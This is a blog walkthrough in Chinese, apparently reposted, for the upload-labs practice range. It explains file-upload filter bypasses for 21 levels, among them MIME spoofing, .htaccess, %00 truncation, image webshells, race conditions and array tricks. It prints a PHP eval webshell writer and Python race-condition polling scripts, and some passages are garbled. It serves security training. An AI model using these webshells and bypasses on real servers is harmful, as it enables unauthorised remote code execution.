当前位置:   article > 正文

uploadlabs通关方法(1-21)

uploadlabs通关方法(1-21)

一.pass-01

1.查看源码

2.按F12,如图

禁用Java,点击上传(这种方法只推荐在靶场用)

二.pass-02

1.查看源码

2.选择一个PHP文件,使用burp抓包改包

将画横线的地方改为jpeg,井将下一行type后的东西改为image/jpeg,

三.pass-01

1.查看源码

由代码可知,该文件后缀即可。先抓包改包

后面加个5

用蚁剑检测,复制图片链接

四.pass-04

先看源码

这关要用到htaccess文件

上传,然后在上传文件,将一句话木马文件重命名为jpg

成功

用蚁剑连接

五.pass-05

查看源码

源码里把所有可以解析的后缀名都给写死了,包括大小写,转换,空格,还有点号,正常的php类文件上传不了了,并且拒绝上传 .htaccess 文件。
反复观察发现可以使用php. .绕过

用蚁剑连接

六.pass-06

这一关同样是后端黑名单,同时过滤掉.htaccess和.ini。但是没有使用strtolower()函数,可以使用大小写绕过黑名单

把.php 格式改为 .Php 上传上去之后,就会自动解析为.php

用蚁剑连接

七.pass-07

这一关黑名单,没有使用trim()去除空格,可以使用空格绕过黑名单

用蚁剑连接

八.pass-08

这一关黑名单,没有使用deldot()过滤文件名末尾的点,可以使用文件名后加.进行绕过

抓包,修改

用蚁剑连接

九.pass-09

这一关黑名单,没有对::D A T A 进 行 处 理 , 可 以 使 用 : : DATA进行处理,可以使用::DATA进行处理,可以使用::DATA绕过黑名单

补充知识:php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名 他的目的就是不检查后缀名。
上传PHP一句话文件,抓包改后缀php::$DATA

用蚁剑连接(注意蚁剑连接路径不要加上::$DATA)

十.pass-10

这一关黑名单,最后上传路径直接使用文件名进行拼接,而且只对文件名进行
f i l e n a m e = d e l d o t ( file_name = deldot(file name=deldot(file_name)操作去除文件名末尾的点,构造后缀绕过黑名单

补充知识:deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来

上传,然后用bp改后缀加点空格点

用蚁剑连接

十一.pass-11

这一关黑名单,使用str_ireplace()函数寻找文件名中存在的黑名单字符串,将它替换成空(即将它删掉),可以使用双写绕过黑名单

补充知识:str_ireplace(find,replace,string,count) 函数替换字符串中的一些字符(不区分大小写)

上传1.php 然后用bp改后缀为.pphphp

用蚁剑连接

十二.pass-12

本人这里使用的是PHP5.2.17+Apache环境
这一关白名单,最终文件的存放位置是以拼接的方式,可以使用%00截断,但需要php版本<5.3.4,并且magic_quotes_gpc关闭。

原理:php的一些函数的底层是C语言,而move_uploaded_file就是其中之一,遇到0x00会截断,0x表示16进制,URL中%00解码成16进制就是0x00。

知识补充:
strrpos(string,find[,start]) 函数查找字符串在另一字符串中最后一次出现的位置(区分大小写)。
substr(string,start[,length])函数返回字符串的一部分(从start开始 [,长度为length])
magic_quotes_gpc 着重偏向数据库方面,是为了防止sql注入,但magic_quotes_gpc开启还会对$_REQUEST, $_GET,$_POST,$_COOKIE 输入的内容进行过滤

抓包并按下图改包

用蚁剑连接(连接时要把下面蓝色的部分删掉)

十三.pass-13

这一关白名单,文件上传路径拼接生成,而且使用了post发送的数据进行拼接,我们可以控制post数据进行0x00截断绕过白名单

补充知识:POST不会对里面的数据自动解码,需要在Hex中修改。

抓包并按下图改包

并按下两张图改

用蚁剑连接(连接时要把下面蓝色的部分删掉)

十四.pass-14

这一关会读取判断上传文件的前两个字节,判断上传文件类型,并且后端会根据判断得到的文件类型重命名上传文件
使用 图片马 + 文件包含 绕过

补充知识:
1.Png图片文件包括8字节:89 50 4E 47 0D 0A 1A 0A。即为 .PNG。
2.Jpg图片文件包括2字节:FF D8。
3.Gif图片文件包括6字节:47 49 46 38 39|37 61 。即为 GIF89(7)a。
4.Bmp图片文件包括2字节:42 4D。即为 BM。
————————————————
版权声明:本文为CSDN博主「晚安這個未知的世界」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_47598409/article/details/115050869

然后这关要使用文件包含才能解析木马的执行,文件包含页面链接就在那里

仿照这个格式做图片马。

上传图片马,用所给页面检验,图片马之后会被重命名图片所以下面的payload的图片名字可以在上传之后复制图片链接就可以了

这就算成功了

用蚁剑连接

十五.pass-15

通过使用getimagesize()检查是否为图片文件,所以还是可以用第十四关的图片马绕过,并使用文件包含漏洞解析图片马

再用以下界面检验

就算成·功

然后复制图片链接,用蚁剑检验

十六.pass-16

知识补充: exif_imagetype()读取一个图像的第一个字节并检查其后缀名。
返回值与getimage()函数返回的索引2相同,但是速度比getimage快得多。需要开启php_exif模块。

所以还是可以用十四关的图片马绕过,并使用文件包含漏洞解析图片马

出现这个界面就成功

最后用蚁剑连接即可(偷个懒)

十七.pass-17

这一关对上传图片进行了判断了后缀名content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染,但是后端二次渲染需要找到渲染后的图片里面没有发生变化的Hex地方,添加一句话,通过文件包含漏洞执行一句话,使用蚁剑进行连接

补充知识:
二次渲染:后端重写文件内容
basename(path[,suffix]) ,没指定suffix则返回后缀名,有则不返回指定的后缀名
strrchr(string,char)函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。
imagecreatefromgif():创建一块画布,并从 GIF 文件或 URL 地址载入一副图像
imagecreatefromjpeg():创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像
imagecreatefrompng():创建一块画布,并从 PNG 文件或 URL 地址载入一副图像
(度娘)

这里有个小提示,对于做文件上传之二次渲染建议用GIF图片,相对于简单一点

上传正常的GIF图片下载回显的图片,用010Editor编辑器进行对比两个GIF图片内容,找到相同的地方(指的是上传前和上传后,两张图片的部分Hex仍然保持不变的位置)并插入PHP一句话,上传带有PHP一句话木马的GIF图片

为了偷懒,这里提供一张网上某个大佬提供的GIF图片https://wwe.lanzoui.com/iFSwwn53jaf

步骤同上几关

最后用蚁剑连接即可(偷个懒就不发图了)

十八.pass-18

(开始阴间了)

老规矩先看源码

发现它和前面的都不一样

从源码来看,服务器先是将上传的文件保存下来,然后将文件的后缀名同白名单对比,如果是jpg、png、gif中的一种,就将文件进行重命名。如果不符合的话,unlink()函数就会删除该文件。

也就是说如果我们还是上传一个图片马的话,网站依旧存在文件包含漏洞我们还是可以进行利用。但是如果没有文件包含漏洞的话,我们就只能上传一个php木马来解析运行了。

那还怎么搞?上传上去就被删除了,我还怎么去访问啊。

我知道你很急,但你先不要急,要知道代码执行的过程是需要耗费时间的。如果我们能在上传的一句话被删除之前访问不就成了。这个也就叫做条件竞争上传绕过。

我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell,会有一瞬间的访问成功。
一句话“穷举法”

为了更好的演示效果,把一句话木马换一下改为:

<?php fputs(fopen('666.php','w'),'<?php @eval($_POST["666"])?>');?>

把这个php文件通过burp一直不停的重放,然后再写python脚本去不停的访问我们上传的这个文件,总会有那么一瞬间是还没来得及删除就可以被访问到的,一旦访问到该文件就会在当前目录下生成一个666.php的一句话。在正常的渗透测试中这也是个好办法。因为单纯的去访问带有phpinfo()的文件并没有什么效果。一旦删除了还是无法利用。但是这个办法生成的666.php服务器是不会删除的,我们就可以通过蚁剑去链接了。

所以先抓包,发送到intruder

然后选择Clear$

按下图进行

然后我们写一个python脚本,通过它来不停的访问我们上传上去的PHP文件(即如上图显示的1.php文件) 由于隐私原因,IP地址不能放出来,下面的脚本的url地址XXX都是代表IP地址

import requests
url = "http://xxx.xxx.xxx.xxx/upload-labs/upload/zoe.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break

然后开始攻击

在BP攻击的同时我们也要运行python脚本,目的就是不停地访问1.php知道成功访问到为止。当出现OK说明访问到了该文件,那么666.php应该也创建成功了,用蚁剑连一下试试。

运行Python脚本的步骤通常如下:

  1. 确保你已经安装了Python。你可以在终端(MacOS或Linux)或命令提示符(Windows)中输入 python --version 来检查。如果你看到一个版本号,比如 Python 3.8.5,那就意味着Python已经安装在你的电脑上。如果没有,你需要去Python官网下载并安装。
  2. 打开你用来输入命令的终端或命令提示符。
  3. 使用 cd 命令切换到包含你的Python脚本的文件夹。例如,如果你的脚本在名为 my_folder 的文件夹中,你可以输入 cd my_folder
  4. 确保你的Python脚本是可执行的。如果你在Windows上,你可以右键点击文件,选择“属性”,然后在“常规”标签下勾选“解除锁定”。
  5. 在终端或命令提示符中输入 python your_script.py,其中 your_script.py 是你的Python脚本的文件名。
  6. 现在你的脚本应该开始运行了。你可以看到输出在你的命令行界面上。

注意:以上步骤适用于运行简单的Python脚本。如果你的脚本需要依赖其他库或环境,你可能需要在运行脚本之前先安装这些依赖。在运行复杂的项目时,可能会用到构建工具(如 pipenv, conda, venv等)来管理这些依赖。

当python脚本出现ok时就成功了,用蚁剑连接

十九.pass-19

这里有一个细节,由于可能是这个靶场的作者的某种原因可能有误,上传的图片路径不在upload的文件夹下,所以我们要进去修改一下第19关的代码文件

打开第十九关,发现还是需要代码审计。那么再来看看源码吧。

代码太长了就不发了

从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。

这么看来的话,php是不能上传了,只能上传图片马了,而且需要在图片马没有被重命名之前访问它。要让图片马能够执行还要配合其他漏洞,比如文件包含,apache解析漏洞等。

这里还是将前一关的代码插入图片作出图片马。然后通过文件包含去访问该图片马。

我们要修改一下python脚本

import requests
url = "http://xxx.xxx.xxx.xx/upload-labs/include.php?file=upload/pass19.png"
while True:
    html = requests.get(url)
    if ( 'Warning'  not in  str(html.text)):
        print('ok')
        break
然后抓包

然后开始攻击并运行python脚本

当python脚本出现ok时就成功了,用蚁剑连接

二十.pass-20

没有对上传的文件做判断,只对用户输入的文件名做判断
后缀名黑名单
上传的文件名用户可控
黑名单用于用户输入的文件后缀名进行判断
move_uploaded_file()还有这么一个特性,会忽略掉文件末尾的 /.

先准备PHP一句话木马,并把后缀名改为PNG再上传

然后用BP来抓包

按下图改包

放包就行了.

用蚁剑连接

二十一.pass-21

这一关白名单
验证过程:
--> 验证上传路径是否存在
--> 验证['upload_file']的content-type是否合法(可以抓包修改)
--> 判断POST参数是否为空定义$file变量(关键:构造数组绕过下一步的判断)
-->判断file不是数组则使用explode('.', strtolower($file))对file进行切割,将file变为一个数组
--> 判断数组最后一个元素是否合法
--> 数组第一位和$file[count($file) - 1]进行拼接,产生保存文件名file_name
--> 上传文件
补充知识:
explode(separator,string[,limit]) 函数,使用一个字符串分割另一个字符串,并返回由字符串组成的数组。
end(array)函数,输出数组中的当前元素和最后一个元素的值。
reset(array)函数,把数组的内部指针指向第一个元素,并返回这个元素的值
count(array)函数,计算数组中的单元数目,或对象中的属性个数

上传一句话木马

然后上传用BP来拦截并改包

拦截后未改的情况

我们要改的就是下面的要求

修改content-type
修改POST参数为数组类型,索引[0]为`upload-20.php`,索引[2]为`jpg|png|gif`。
只要第二个索引`不为1`,$file[count($file) - 1]就等价于$file[2-1],值为空

修改后的结果

然后放包

用蚁剑连接

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/凡人多烦事01/article/detail/503691
推荐阅读
相关标签
  

闽ICP备14008679号